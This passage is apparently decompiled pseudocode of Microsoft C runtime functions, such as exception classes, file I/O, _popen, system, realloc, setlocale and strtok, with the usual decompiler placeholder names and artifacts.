} //----- (005FC418) -------------------------------------------------------- void __cdecl _Atexit(void (__cdecl *pf)()) { if ( !atcount ) abort(); --atcount; atfuns[atcount] = pf; } //----- (005FD60B) -------------------------------------------------------- void __thiscall exception::exception(exception *this) { this->_m_what = 0; this->_m_doFree = 0; this->vfptr = (exceptionVtbl *)&exception::_vftable_; } // 689DF0: using guessed type int (__thiscall *exception___vftable_)(void *p, char); //----- (005FD61C) -------------------------------------------------------- void __thiscall exception::exception(exception *this, const char *const *what) { exception *v2; // esi@1 size_t v3; // eax@2 void *v4; // eax@2 v2 = this; this->vfptr = (exceptionVtbl *)&exception::_vftable_; if ( *what ) { v3 = strlen(*what); v4 = malloc(v3 + 1); v2->_m_what = (const char *)v4; if ( v4 ) strcpy((char *)v4, *what); } else { this->_m_what = 0; } v2->_m_doFree = 1; } // 689DF0: using guessed type int (__thiscall *exception___vftable_)(void *p, char); //----- (005FD664) -------------------------------------------------------- void __thiscall exception::exception(exception *this, exception *that) { exception *v2; // esi@1 int v3; // eax@1 bool v4; // zf@1 const char *v5; // eax@1 size_t v6; // eax@3 void *v7; // eax@3 v2 = this; this->vfptr = (exceptionVtbl *)&exception::_vftable_; v3 = that->_m_doFree; this->_m_doFree = v3; v4 = v3 == 0; v5 = that->_m_what; if ( v4 ) { this->_m_what = v5; } else { if ( v5 ) { v6 = strlen(that->_m_what); v7 = malloc(v6 + 1); v2->_m_what = (const char *)v7; if ( v7 ) strcpy((char *)v7, that->_m_what); } else { this->_m_what = 0; } } } // 689DF0: using guessed type int (__thiscall *exception___vftable_)(void *p, char); //----- (005FD6B6) -------------------------------------------------------- void __thiscall exception::_exception(exception *this) { bool v1; // zf@1 v1 = this->_m_doFree == 0; this->vfptr = (exceptionVtbl *)&exception::_vftable_; if ( !v1 ) free((void *)this->_m_what); } // 689DF0: using guessed type int (__thiscall *exception___vftable_)(void *p, char); //----- (005FD6D9) -------------------------------------------------------- void __thiscall bad_cast::bad_cast(bad_cast *this, const char *_Message) { bad_cast *v2; // esi@1 v2 = this; exception::exception(&this->baseclass_0, &_Message); v2->baseclass_0.vfptr = (exceptionVtbl *)&bad_cast::_vftable_; } // 689E10: using guessed type int (__thiscall *bad_cast___vftable_)(void *p, char); //----- (005FD6F2) -------------------------------------------------------- void __thiscall bad_cast::bad_cast(bad_cast *this, bad_cast *that) { bad_cast *v2; // esi@1 v2 = this; exception::exception(&this->baseclass_0, &that->baseclass_0); v2->baseclass_0.vfptr = (exceptionVtbl *)&bad_cast::_vftable_; } // 689E10: using guessed type int (__thiscall *bad_cast___vftable_)(void *p, char); //----- (005FD70A) -------------------------------------------------------- void __thiscall bad_cast::_bad_cast(bad_cast *this) { this->baseclass_0.vfptr = (exceptionVtbl *)&bad_cast::_vftable_; exception::_exception(&this->baseclass_0); } // 689E10: using guessed type int (__thiscall *bad_cast___vftable_)(void *p, char); //----- (005FD715) -------------------------------------------------------- void *__thiscall exception::_vector_deleting_destructor_(exception *this, unsigned int a2) { void *v2; // esi@1 v2 = this; exception::_exception(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (005FD731) -------------------------------------------------------- void *__thiscall bad_cast::_vector_deleting_destructor_(bad_cast *this, unsigned int a2) { void *v2; // esi@1 v2 = this; bad_cast::_bad_cast(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (005FD793) -------------------------------------------------------- void *__thiscall type_info::_scalar_deleting_destructor_(type_info *this, unsigned int a2) { void *v2; // esi@1 v2 = this; type_info::_type_info(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (005FDAE0) -------------------------------------------------------- int __cdecl fprintf(_iobuf *str, const char *format) { int v2; // ST2C_4@1 int result; // eax@1 char argptr; // [sp+40h] [bp+10h]@0 _lock_file(str); v2 = _stbuf(str); _output(str, format, &argptr); _ftbuf(v2, str); _unlock_file(str); return result; } //----- (005FDD5F) -------------------------------------------------------- int __cdecl _flushall() { return flsall(1); } //----- (005FE0DF) -------------------------------------------------------- unsigned int __cdecl fwrite(const void *buffer, unsigned int size, unsigned int count, _iobuf *stream) { unsigned int result; // eax@1 _lock_file(stream); _fwrite_lk(buffer, size, count, stream); _unlock_file(stream); return result; } //----- (005FE214) -------------------------------------------------------- unsigned int __cdecl fread(void *buffer, unsigned int size, unsigned int count, _iobuf *stream) { unsigned int result; // eax@1 _lock_file(stream); _fread_lk(buffer, size, count, stream); _unlock_file(stream); return result; } //----- (005FE748) -------------------------------------------------------- int __cdecl _findfirst(const char *szWild, _finddata_t *pfd) { int v2; // edi@1 DWORD v3; // eax@2 struct _WIN32_FIND_DATAA wfd; // [sp+8h] [bp-144h]@1 unsigned int v6; // [sp+148h] [bp-4h]@1 int v7; // [sp+14Ch] [bp+0h]@1 v6 = (unsigned int)&v7 ^ __security_cookie; v2 = (int)FindFirstFileA(szWild, &wfd); if ( v2 == -1 ) { v3 = GetLastError(); if ( v3 < 2 ) goto LABEL_13; if ( v3 > 3 ) { if ( v3 == 8 ) { *_errno() = 12; return -1; } if ( v3 != 18 ) { LABEL_13: *_errno() = 22; return -1; } } *_errno() = 2; return -1; } pfd->attrib = wfd.dwFileAttributes != 128 ? wfd.dwFileAttributes : 0; pfd->time_create = __timet_from_ft(&wfd.ftCreationTime); pfd->time_access = __timet_from_ft(&wfd.ftLastAccessTime); pfd->time_write = __timet_from_ft(&wfd.ftLastWriteTime); pfd->size = wfd.nFileSizeLow; strcpy(pfd->name, wfd.cFileName); return v2; } //----- (005FE82A) -------------------------------------------------------- int __cdecl _findnext(int hFile, _finddata_t *pfd) { DWORD v2; // eax@2 struct _WIN32_FIND_DATAA wfd; // [sp+4h] [bp-144h]@1 unsigned int v5; // [sp+144h] [bp-4h]@1 int v6; // [sp+148h] [bp+0h]@1 v5 = (unsigned int)&v6 ^ __security_cookie; if ( !FindNextFileA((HANDLE)hFile, &wfd) ) { v2 = GetLastError(); if ( v2 < 2 ) goto LABEL_13; if ( v2 > 3 ) { if ( v2 == 8 ) { *_errno() = 12; return -1; } if ( v2 != 18 ) { LABEL_13: *_errno() = 22; return -1; } } *_errno() = 2; return -1; } pfd->attrib = wfd.dwFileAttributes != 128 ? wfd.dwFileAttributes : 0; pfd->time_create = __timet_from_ft(&wfd.ftCreationTime); pfd->time_access = __timet_from_ft(&wfd.ftLastAccessTime); pfd->time_write = __timet_from_ft(&wfd.ftLastWriteTime); pfd->size = wfd.nFileSizeLow; strcpy(pfd->name, wfd.cFileName); return 0; } //----- (005FEAD2) -------------------------------------------------------- lconv *__cdecl localeconv() { return (lconv *)__lconv; } //----- (005FF606) -------------------------------------------------------- __int64 __cdecl _mktime64(tm *tb) { return make__time64_t(tb, 1); } //----- (005FF785) -------------------------------------------------------- int __cdecl _putenv(const char *option) { int result; // eax@1 _lock(7); _putenv_lk(option); _unlock(7); return result; } //----- (005FF845) -------------------------------------------------------- char *__cdecl getenv(const char *option) { char *result; // eax@1 _lock(7); _getenv_lk(option); _unlock(7); return result; } //----- (005FF884) -------------------------------------------------------- int __cdecl fscanf(_iobuf *stream, const char *format) { int result; // eax@1 char arglist; // [sp+38h] [bp+10h]@0 _lock_file(stream); _input(stream, format, &arglist); _unlock_file(stream); return result; } //----- (005FF8CE) -------------------------------------------------------- int __cdecl _chdir(const char *path) { int *v1; // edi@1 DWORD v2; // esi@2 void *v3; // esp@3 char v4; // al@6 unsigned int v5; // eax@11 int v7; // [sp+0h] [bp-144h]@3 int *apath; // [sp+Ch] [bp-138h]@3 DWORD r; // [sp+10h] [bp-134h]@2 int memfree; // [sp+14h] [bp-130h]@1 int retval; // [sp+18h] [bp-12Ch]@1 const CHAR env_var; // [sp+1Ch] [bp-128h]@9 char v13; // [sp+1Dh] [bp-127h]@9 char v14; // [sp+1Eh] [bp-126h]@9 char v15; // [sp+1Fh] [bp-125h]@9 char abspath[261]; // [sp+20h] [bp-124h]@1 unsigned int v17; // [sp+128h] [bp-1Ch]@1 CPPEH_RECORD ms_exc; // [sp+12Ch] [bp-18h]@3 int v19; // [sp+144h] [bp+0h]@1 v17 = (unsigned int)&v19 ^ __security_cookie; v1 = (int *)abspath; memfree = 0; retval = -1; if ( SetCurrentDirectoryA(path) ) { v2 = GetCurrentDirectoryA(0x105u, abspath); r = v2; if ( (signed int)v2 > 260 ) { v3 = alloca(v2 + 1); ms_exc.old_esp = (DWORD)&v7; v1 = &v7; apath = &v7; ms_exc.disabled = -1; if ( !v2 ) goto LABEL_11; v2 = GetCurrentDirectoryA(v2 + 1, (LPSTR)&v7); } if ( v2 ) { if ( ((v4 = *(_BYTE *)v1, *(_BYTE *)v1 == 92) || v4 == 47) && v4 == *((_BYTE *)v1 + 1) || (env_var = 61, v13 = _mbctoupper(*(_BYTE *)v1), v14 = 58, v15 = 0, SetEnvironmentVariableA(&env_var, (LPCSTR)v1)) ) retval = 0; } } LABEL_11: v5 = GetLastError(); _dosmaperr(v5); if ( memfree ) free(v1); return retval; } //----- (005FFD76) -------------------------------------------------------- void *__cdecl realloc(void *pBlock, unsigned int newsize) { void *result; // eax@2 unsigned int v3; // esi@3 tagHeader *v4; // eax@7 int v5; // eax@12 int v6; // esi@18 unsigned int v7; // eax@19 tagHeader *pHeader; // [sp+10h] [bp-20h]@7 void *pvReturn; // [sp+14h] [bp-1Ch]@6 char *pvReturna; // [sp+14h] [bp-1Ch]@18 if ( !pBlock ) return malloc(newsize); v3 = newsize; if ( !newsize ) { free(pBlock); return 0; } if ( __active_heap != 3 ) { while ( v3 <= 0xFFFFFFE0 ) { if ( !v3 ) v3 = 1; result = HeapReAlloc(_crtheap, 0, pBlock, v3); if ( result || !_newmode ) return result; if ( !_callnewh(v3) ) return 0; } goto LABEL_30; } pvReturn = 0; if ( newsize > 0xFFFFFFE0 ) { LABEL_30: _callnewh(v3); return 0; } _lock(4); v4 = __sbh_find_block(pBlock); pHeader = v4; if ( v4 ) { if ( newsize <= __sbh_threshold ) { if ( __sbh_resize_block(v4, pBlock, newsize) ) { pvReturn = pBlock; } else { pvReturn = __sbh_alloc_block(newsize); if ( pvReturn ) { v5 = *((_DWORD *)pBlock - 1) - 1; if ( v5 >= newsize ) v5 = newsize; memcpy((char *)pvReturn, (char *)pBlock, v5); pHeader = __sbh_find_block(pBlock); __sbh_free_block(pHeader, pBlock); } } } if ( !pvReturn ) { if ( !newsize ) v3 = 1; v6 = (v3 + 15) & 0xFFFFFFF0; pvReturna = (char *)HeapAlloc(_crtheap, 0, v6); if ( pvReturna ) { v7 = *((_DWORD *)pBlock - 1) - 1; if ( v7 >= v6 ) v7 = v6; memcpy(pvReturna, (char *)pBlock, v7); __sbh_free_block(pHeader, pBlock); } } } _unlock(4); return result; } // 1535FC34: using guessed type int __sbh_threshold; // 1535FC48: using guessed type int __active_heap; //----- (00600576) -------------------------------------------------------- _iobuf *__cdecl _popen(const char *cmdstring, const char *type) { signed int v2; // ecx@1 const char v3; // al@5 BOOL v4; // edi@11 _iobuf *result; // eax@14 int *v6; // esi@15 char *v7; // eax@21 HANDLE v8; // ecx@24 HANDLE v9; // ecx@26 size_t v10; // edi@28 unsigned int v11; // edi@28 size_t v12; // eax@28 void *v13; // eax@28 char *v14; // edi@28 void *v15; // esi@31 void *v16; // edi@35 bool v17; // zf@36 size_t v18; // edi@40 IDpair *v19; // eax@45 struct _STARTUPINFOA StartupInfo; // [sp+10h] [bp-B4h]@24 void *pfin; // [sp+54h] [bp-70h]@35 struct _PROCESS_INFORMATION ProcessInfo; // [sp+58h] [bp-6Ch]@30 void *buf; // [sp+68h] [bp-5Ch]@31 int childhnd; // [sp+6Ch] [bp-58h]@45 HANDLE prochnd; // [sp+70h] [bp-54h]@15 int ph_open; // [sp+74h] [bp-50h]@15 int v27; // [sp+78h] [bp-4Ch]@15 LPSTR CommandLine; // [sp+7Ch] [bp-48h]@28 IDpair *locidpair; // [sp+80h] [bp-44h]@17 char *env; // [sp+84h] [bp-40h]@31 int phdls; // [sp+88h] [bp-3Ch]@9 int fh; // [sp+8Ch] [bp-38h]@14 int stdhdl; // [sp+90h] [bp-34h]@11 int childstatus; // [sp+94h] [bp-30h]@1 HANDLE newhnd; // [sp+98h] [bp-2Ch]@15 int i1; // [sp+9Ch] [bp-28h]@11 int i2; // [sp+A0h] [bp-24h]@11 FILE *pstream; // [sp+A4h] [bp-20h]@1 char *cmdexe; // [sp+A8h] [bp-1Ch]@18 CPPEH_RECORD ms_exc; // [sp+ACh] [bp-18h]@15 v2 = 0; pstream = 0; childstatus = 0; if ( cmdstring && type && (*type == 119 || *type == 114) ) { v3 = type[1]; if ( v3 == 116 ) { v2 = 16384; } else { if ( v3 == 98 ) v2 = 32768; } if ( _pipe(&phdls, 0x400u, v2 | 0x80) != -1 ) { if ( *type == 119 ) { stdhdl = 0; i1 = 0; v4 = 1; i2 = 1; } else { stdhdl = 1; i1 = 1; i2 = 0; v4 = 1; } if ( !_mtinitlocknum(9) ) { _close(phdls); _close(fh); return 0; } _lock(9); ms_exc.disabled = 0; v27 = v4; ph_open = v4; prochnd = GetCurrentProcess(); v6 = &phdls + i1; if ( !DuplicateHandle(prochnd, *(HANDLE *)(__pioinfo[*v6 >> 5] + 36 * (*v6 & 0x1F)), prochnd, &newhnd, 0, v4, 2u) || (_close(*v6), *(&ph_open + i1) = 0, (pstream = _fdopen(*(&phdls + i2), type)) == 0) ) goto error2; locidpair = ___00002_0(0); if ( locidpair ) { cmdexe = getenv("COMSPEC"); if ( !cmdexe && (*_errno() == 2 || *_errno() == 13) ) { v7 = "command.com"; if ( !(BYTE1(_osver) & 0x80) ) v7 = "cmd.exe"; cmdexe = v7; } memset(&StartupInfo, 0, 0x44u); StartupInfo.cb = 68; StartupInfo.dwFlags = 256; v8 = newhnd; if ( stdhdl ) v8 = *(HANDLE *)__pioinfo[0]; StartupInfo.hStdInput = v8; v9 = newhnd; if ( stdhdl != 1 ) v9 = *(HANDLE *)(__pioinfo[0] + 36); StartupInfo.hStdOutput = v9; StartupInfo.hStdError = *(void **)(__pioinfo[0] + 72); v10 = strlen(cmdexe); v11 = strlen(cmdstring) + v10; v12 = strlen(" /c "); v13 = malloc(v11 + v12 + 1); v14 = (char *)v13; CommandLine = (LPSTR)v13; if ( v13 ) { strcpy((char *)v13, cmdexe); strcat(v14, " /c "); strcat(v14, cmdstring); if ( _access(cmdexe, 0) != -1 ) { childstatus = CreateProcessA(cmdexe, v14, 0, 0, 1, 0, 0, 0, &StartupInfo, &ProcessInfo); LABEL_44: free(v14); CloseHandle(newhnd); CloseHandle(ProcessInfo.hThread); if ( childstatus ) { childhnd = (signed int)ProcessInfo.hProcess; v19 = locidpair; locidpair->prochnd = (signed int)ProcessInfo.hProcess; v19->stream = pstream; done_2: ms_exc.disabled = -1; _unlock(9); return result; } locidpair->stream = 0; goto error3; } env = getenv("PATH"); v15 = malloc(0x104u); buf = v15; if ( v15 ) { while ( 1 ) { env = _getpath(env, (char *)v15, 0x103u); if ( !env ) break; if ( !*(_BYTE *)v15 ) break; v16 = (char *)v15 + strlen((const char *)v15) - 1; pfin = v16; if ( *(_BYTE *)v16 == 92 ) v17 = v16 == _mbsrchr((const char *)v15, 0x5Cu); else v17 = *(_BYTE *)v16 == 47; if ( !v17 ) strcat((char *)v15, "\\"); v18 = strlen(cmdexe); if ( strlen((const char *)v15) + v18 >= 0x104 ) break; strcat((char *)v15, cmdexe); if ( _access((const char *)v15, 0) != -1 ) { childstatus = CreateProcessA((LPCSTR)v15, CommandLine, 0, 0, 1, 0, 0, 0, &StartupInfo, &ProcessInfo); break; } } free(v15); v14 = CommandLine; goto LABEL_44; } free(v14); } } error3: fclose(pstream); *(&ph_open + i2) = 0; pstream = 0; error2: if ( *(&ph_open + i1) ) _close(*(&phdls + i1)); if ( *(&ph_open + i2) ) _close(*(&phdls + i2)); goto done_2; } } return pstream; } // 1535FB20: using guessed type int __pioinfo[]; //----- (00600FF0) -------------------------------------------------------- double __cdecl sinh(double a1) { _ctrandisp1(*(__int64 *)&a1); } //----- (00600FFA) -------------------------------------------------------- double __cdecl cosh(double a1) { JUMPOUT(disp1); } // 600FF5: using guessed type double disp1(); //----- (00601001) -------------------------------------------------------- double __cdecl tanh(double a1) { JUMPOUT(disp1); } // 600FF5: using guessed type double disp1(); //----- (00601008) -------------------------------------------------------- int __thiscall _CIsinh(void *this) { return _cintrindisp1(this, &_OP_SINHjmptab); } // 60D4EE: using guessed type int __fastcall _cintrindisp1(_DWORD, _DWORD); //----- (00601012) -------------------------------------------------------- void __cdecl _CIcosh() { JUMPOUT(idisp1); } // 60100D: using guessed type int idisp1(); //----- (00601019) -------------------------------------------------------- void __cdecl _CItanh() { JUMPOUT(idisp1); } // 60100D: using guessed type int idisp1(); //----- (00601424) -------------------------------------------------------- double __usercall fFMOD(double a1, long double a2) { __int16 v2; // fps@1 double v3; // qt0@1 long double v4; // st6@1 long double v5; // st7@1 char v6; // c2@1 __int16 v7; // fps@3 v3 = a1; UNDEF(v2); v4 = a2; v5 = v3; do { if ( _adjust_fdiv == 1 ) { _adj_fprem(); } else { v5 = __FPREM__(v4, v5); UNDEF(v7); } } while ( v6 ); return v4; } // 60E55C: using guessed type int _adj_fprem(void); // 1535F520: using guessed type int _adjust_fdiv; //----- (00601930) -------------------------------------------------------- int __cdecl system(const char *command) { char *v1; // eax@1 int result; // eax@3 int v3; // edi@6 char *argv; // [sp+4h] [bp-10h]@1 int v5; // [sp+8h] [bp-Ch]@5 const char *v6; // [sp+Ch] [bp-8h]@5 int v7; // [sp+10h] [bp-4h]@5 v1 = getenv("COMSPEC"); argv = v1; if ( command ) { v5 = (int)"/c"; v6 = command; v7 = 0; if ( v1 && ((v3 = _spawnve(0, v1, (const char *const *)&argv, 0), v3 != -1) || *_errno() != 2 && *_errno() != 13) ) { result = v3; } else { argv = "command.com"; if ( !(BYTE1(_osver) & 0x80) ) argv = "cmd.exe"; result = _spawnvpe(0, argv, (const char *const *)&argv, 0); } } else { if ( v1 ) result = _access(v1, 0) == 0; else result = 0; } return result; } //----- (006019D2) -------------------------------------------------------- int __cdecl remove(const char *path) { unsigned int v1; // eax@2 int result; // eax@5 if ( DeleteFileA(path) ) v1 = 0; else v1 = GetLastError(); if ( v1 ) { _dosmaperr(v1); result = -1; } else { result = 0; } return result; } //----- (006021FF) -------------------------------------------------------- unsigned int __cdecl _Strftime_mt(threadlocaleinfostruct *ptloci, char *string, unsigned int maxsize, const char *format, tm *timeptr, void *lc_time_arg) { void *v6; // eax@1 unsigned int result; // eax@3 const char *v8; // esi@5 char v9; // al@6 char *v10; // esi@13 unsigned int v11; // eax@13 char *strstart; // [sp+4h] [bp-8h]@1 __lc_time_data *lc_time; // [sp+8h] [bp-4h]@3 strstart = string; v6 = lc_time_arg; if ( !lc_time_arg ) v6 = ptloci->lc_time_curr; lc_time = (__lc_time_data *)v6; result = maxsize; if ( maxsize ) { lc_time_arg = (void *)maxsize; if ( !maxsize ) goto LABEL_20; v8 = format; do { v9 = *v8; if ( !*v8 ) break; if ( v9 == 37 ) { v10 = (char *)(v8 + 1); v11 = 0; if ( *v10 == 35 ) { v11 = 1; ++v10; } if ( !expandtime(ptloci, *v10, timeptr, &string, (unsigned int *)&lc_time_arg, lc_time, v11) ) goto LABEL_20; v8 = v10 + 1; } else { if ( HIBYTE(ptloci->pctype[(unsigned __int8)v9]) & 0x80 && (unsigned int)lc_time_arg > 1 ) { ++v8; if ( !*v8 ) goto LABEL_20; *string++ = v9; lc_time_arg = (char *)lc_time_arg - 1; } *string++ = *v8++; lc_time_arg = (char *)lc_time_arg - 1; } } while ( lc_time_arg ); if ( lc_time_arg ) { *string = 0; result = maxsize - (_DWORD)lc_time_arg; } else { LABEL_20: *strstart = 0; result = 0; } } return result; } //----- (006022F4) -------------------------------------------------------- unsigned int __cdecl strftime(char *string, unsigned int maxsize, const char *format, tm *timeptr) { return _Strftime(string, maxsize, format, timeptr, 0); } //----- (00602416) -------------------------------------------------------- int __cdecl ___setlc_active_func() { return __setlc_active; } // 1535FE8C: using guessed type int __setlc_active; //----- (0060241C) -------------------------------------------------------- int *__cdecl ___unguarded_readlc_active_add_func() { return (int *)&__unguarded_readlc_active; } //----- (006025B3) -------------------------------------------------------- int __cdecl __init_collate() { return 0; } //----- (0060273F) -------------------------------------------------------- char *__cdecl setlocale_get_all() { char *result; // eax@1 signed int v1; // edi@1 int v2; // esi@3 const char **v3; // ebx@3 signed int same; // [sp+0h] [bp-4h]@1 result = (char *)unk_6B77BC; v1 = 1; same = 1; if ( unk_6B77BC || (result = (char *)malloc(0x351u), (unk_6B77BC = result) != 0) ) { *result = 0; _strcats((char *)unk_6B77BC, 3); v2 = 12; v3 = (const char **)&unk_6B77C8; do { strcat((char *)unk_6B77BC, ";"); if ( strcmp(*v3, *(const char **)((char *)&unk_6B77C8 + v2)) ) same = 0; ++v1; v2 = 12 * v1; v3 = (const char **)(&unk_6B77BC + 3 * v1); _strcats((char *)unk_6B77BC, 3); } while ( v1 < 5 ); if ( same ) { free(unk_6B77BC); unk_6B77BC = 0; result = (char *)unk_6B77D4; } else { result = (char *)unk_6B77BC; } } return result; } //----- (00602819) -------------------------------------------------------- char *__cdecl _expandlocale(char *expr, char *output, tagLC_ID *id, unsigned int *cp, int category) { char *v5; // esi@1 char *result; // eax@1 tagLC_STRINGS names; // [sp+14h] [bp-30h]@1 unsigned int v8; // [sp+A4h] [bp+60h]@1 v5 = expr; v8 = (unsigned int)&names.szLanguage[48] ^ __security_cookie; result = output; if ( !expr ) return 0; if ( *expr != 67 || expr[1] ) { if ( strlen(expr) >= 0x82 || strcmp(cacheout, expr) && strcmp(cachein, expr) ) { if ( __lc_strtolc(&names, expr) || !__get_qualified_locale(&names, &cacheid, &names) ) return 0; cachecp = cacheid.wCodePage; __lc_lctostr(cacheout, &names); if ( !*expr || strlen(expr) >= 0x82 ) v5 = byte_635E1E; unk_6B772A = 0; strncpy(cachein, v5, 0x82u); } if ( id ) memcpy((char *)id, (char *)&cacheid, 6u); if ( cp ) memcpy((char *)cp, (char *)&cachecp, 4u); strcpy(output, cacheout); result = cacheout; } else { *output = 67; output[1] = 0; if ( id ) { id->wLanguage = 0; id->wCountry = 0; id->wCodePage = 0; } if ( cp ) *cp = 0; } return result; } //----- (00602979) -------------------------------------------------------- char *__usercall setlocale_set_cat(int category, const char *locale) { char *result; // eax@1 int v3; // ebx@2 size_t v4; // eax@4 unsigned int v5; // ecx@6 _is_ctype_compatible *v6; // eax@6 unsigned int v7; // edx@8 int v8; // edx@8 int v9; // eax@11 unsigned int v10; // eax@14 int v11; // eax@16 void *v12; // ST1C_4@24 int v13; // [sp+0h] [bp-150h]@0 tagLC_ID oldid; // [sp+4h] [bp-14Ch]@5 _is_ctype_compatible buf2; // [sp+Ch] [bp-144h]@8 int oldhandle; // [sp+14h] [bp-13Ch]@5 tagLC_ID idtemp; // [sp+18h] [bp-138h]@1 int v18; // [sp+24h] [bp-12Ch]@6 UINT oldcodepage; // [sp+28h] [bp-128h]@5 void *pch; // [sp+2Ch] [bp-124h]@4 void *oldlocale; // [sp+30h] [bp-120h]@5 int cptemp; // [sp+34h] [bp-11Ch]@1 void *i; // [sp+38h] [bp-118h]@5 __int16 out[127]; // [sp+3Ch] [bp-114h]@13 char lctemp[131]; // [sp+13Ch] [bp-14h]@1 unsigned int v26; // [sp+1C0h] [bp+70h]@1 v26 = (unsigned int)&lctemp[20] ^ __security_cookie; result = _expandlocale((char *)locale, lctemp, &idtemp, (unsigned int *)&cptemp, v13); if ( result ) { v3 = 12 * category; if ( strcmp(lctemp, (const char *)*(&unk_6B77BC + 3 * category)) ) { v4 = strlen(lctemp); result = (char *)malloc(v4 + 1); pch = result; if ( result ) { oldlocale = *(void **)((char *)&unk_6B77BC + v3); oldhandle = __lc_handle[category]; i = (void *)(6 * category + 355858840); memcpy((char *)&oldid, (char *)(6 * category + 355858840), 6u); oldcodepage = __lc_codepage; *(void **)((char *)&unk_6B77BC + v3) = strcpy((char *)pch, lctemp); __lc_handle[category] = idtemp.wLanguage; memcpy((char *)i, (char *)&idtemp, 6u); if ( category == 2 ) { v5 = unk_6B76A0; i = 0; __lc_codepage = cptemp; v18 = unk_6B76A4; v6 = Lcid_c; while ( cptemp != v6->id ) { v7 = v6->id; i = (char *)i + 1; v6->id = v5; buf2.id = v7; v8 = v6->is_clike; v6->is_clike = v18; v5 = buf2.id; ++v6; v18 = v8; if ( (signed int)v6 >= (signed int)cachein ) goto LABEL_12; } if ( i ) { v9 = 8 * (_DWORD)i + 7042688; Lcid_c[0].id = Lcid_c[(_DWORD)i].id; dword_6B7684[0] = dword_6B7684[2 * (signed int)i]; Lcid_c[(_DWORD)i].id = v5; *(_DWORD *)(v9 + 4) = v18; } LABEL_12: if ( i == (void *)5 ) { if ( __crtGetStringTypeA(1u, first_127char, 127, (unsigned __int16 *)out, cptemp, dword_1535F97C, 1) ) { v10 = 0; do HIBYTE(out[v10++]) &= 1u; while ( v10 < 0x7F ); v11 = memcmp(out, L" h(((( H", 0xFEu) == 0; } else { v11 = 0; } dword_6B7684[0] = v11; Lcid_c[0].id = __lc_codepage; } else { v11 = dword_6B7684[0]; } __lc_clike = v11; } if ( category == 1 ) __lc_collate_cp = cptemp; if ( (*(int (__cdecl **)())((char *)&unk_6B77C0 + v3))() ) { v12 = pch; *(void **)((char *)&unk_6B77BC + v3) = oldlocale; free(v12); __lc_handle[category] = oldhandle; __lc_codepage = oldcodepage; result = 0; } else { if ( oldlocale != clocalestr ) free(oldlocale); result = *(char **)((char *)&unk_6B77BC + v3); } } } else { result = *(char **)((char *)&unk_6B77BC + v3); } } return result; } // 1535F974: using guessed type int __lc_handle[]; // 1535F990: using guessed type int __lc_collate_cp; //----- (00602C0D) -------------------------------------------------------- char *__usercall setlocale_lk(int _category, const char *_locale) { char *v2; // edi@1 char *v4; // esi@4 int v5; // eax@9 int v6; // ebx@9 unsigned int v7; // eax@10 char **v8; // esi@12 int v9; // eax@14 char *v10; // ebx@17 size_t v11; // eax@17 size_t v12; // edi@17 int v13; // edi@22 int v15; // esi@31 const char **v16; // ebx@31 int i; // [sp+Ch] [bp-1Ch]@12 signed int len; // [sp+10h] [bp-18h]@5 unsigned int lena; // [sp+10h] [bp-18h]@10 int fLocaleSet; // [sp+14h] [bp-14h]@5 char lctemp[131]; // [sp+18h] [bp-10h]@1 unsigned int v22; // [sp+9Ch] [bp+74h]@1 v22 = (unsigned int)&lctemp[16] ^ __security_cookie; v2 = (char *)_locale; if ( !_category ) { len = 1; fLocaleSet = 0; if ( _locale ) { if ( *_locale != 76 || _locale[1] != 67 || _locale[2] != 95 ) { v4 = _expandlocale((char *)_locale, lctemp, 0, 0, 0); if ( !v4 ) return v4; v15 = 0; v16 = (const char **)&unk_6B77BC; do { if ( (void **)v16 != &unk_6B77BC ) { if ( !strcmp(lctemp, *v16) || setlocale_set_cat(v15, lctemp) ) ++fLocaleSet; else len = 0; } v16 += 3; ++v15; } while ( (signed int)v16 <= (signed int)&unk_6B77F8 ); if ( len ) { v4 = setlocale_get_all(); free(unk_6B77BC); unk_6B77BC = 0; return v4; } if ( !fLocaleSet ) return 0; } else { do { strpbrk(v2, "=;"); v6 = v5; if ( !v5 || (v7 = v5 - (_DWORD)v2, (lena = v7) == 0) || *(_BYTE *)v6 == 59 ) return 0; i = 1; v8 = (char **)&unk_6B77C4; while ( 1 ) { strncmp(*v8, v2, v7); if ( !v9 ) { if ( lena == strlen(*v8) ) break; } ++i; v8 += 3; if ( (signed int)v8 > (signed int)&unk_6B77F4 ) break; v7 = lena; } v10 = (char *)(v6 + 1); strcspn(v10, ";"); v12 = v11; if ( !v11 ) { if ( *v10 != 59 ) return 0; } if ( i <= 5 ) { strncpy(lctemp, v10, v11); lctemp[v12] = 0; if ( setlocale_set_cat(i, lctemp) ) ++fLocaleSet; } v13 = (int)&v10[v12]; if ( !*(_BYTE *)v13 ) break; v2 = (char *)(v13 + 1); } while ( *v2 ); v4 = 0; if ( !fLocaleSet ) return v4; } } return setlocale_get_all(); } if ( _locale ) return setlocale_set_cat(_category, _locale); return (char *)*(&unk_6B77BC + 3 * _category); } //----- (0060308D) -------------------------------------------------------- int __cdecl printf(const char *format) { int v1; // ST28_4@1 int result; // eax@1 char argptr; // [sp+38h] [bp+Ch]@0 _lock_file2(1, &unk_6B7278); v1 = _stbuf(&unk_6B7278); _output(&unk_6B7278, format, &argptr); _ftbuf(v1, &unk_6B7278); _unlock_file2(1, &unk_6B7278); return result; } //----- (00603E28) -------------------------------------------------------- int __cdecl strtol(const char *nptr, char **endptr, int ibase) { return strtoxl(nptr, (const char **)endptr, ibase, 0); } //----- (006040B6) -------------------------------------------------------- __int64 __cdecl _strtoi64(const char *nptr, char **endptr, int ibase) { return strtoxq(nptr, (const char **)endptr, ibase, 0); } //----- (006040CD) -------------------------------------------------------- unsigned __int64 __cdecl _strtoui64(const char *nptr, char **endptr, int ibase) { return strtoxq(nptr, (const char **)endptr, ibase, 1); } //----- (006040E4) -------------------------------------------------------- char *__cdecl strtok(char *string, const char *control) { const char *v2; // esi@1 const char v3; // dl@2 char *v4; // edx@3 char *v5; // ebx@8 _tiddata *ptd; // [sp+10h] [bp-28h]@1 char map[32]; // [sp+14h] [bp-24h]@1 unsigned int v9; // [sp+34h] [bp-4h]@1 int v10; // [sp+38h] [bp+0h]@1 v9 = (unsigned int)&v10 ^ __security_cookie; v2 = control; ptd = _getptd(); memset(map, 0, sizeof(map)); do { v3 = *v2; map[(unsigned int)(unsigned __int8)*v2 >> 3] |= 1 << (*v2 & 7); ++v2; } while ( v3 ); v4 = string; if ( !string ) v4 = ptd->_token; while ( (unsigned __int8)(1 << (*v4 & 7)) & (unsigned __int8)map[(unsigned int)(unsigned __int8)*v4 >> 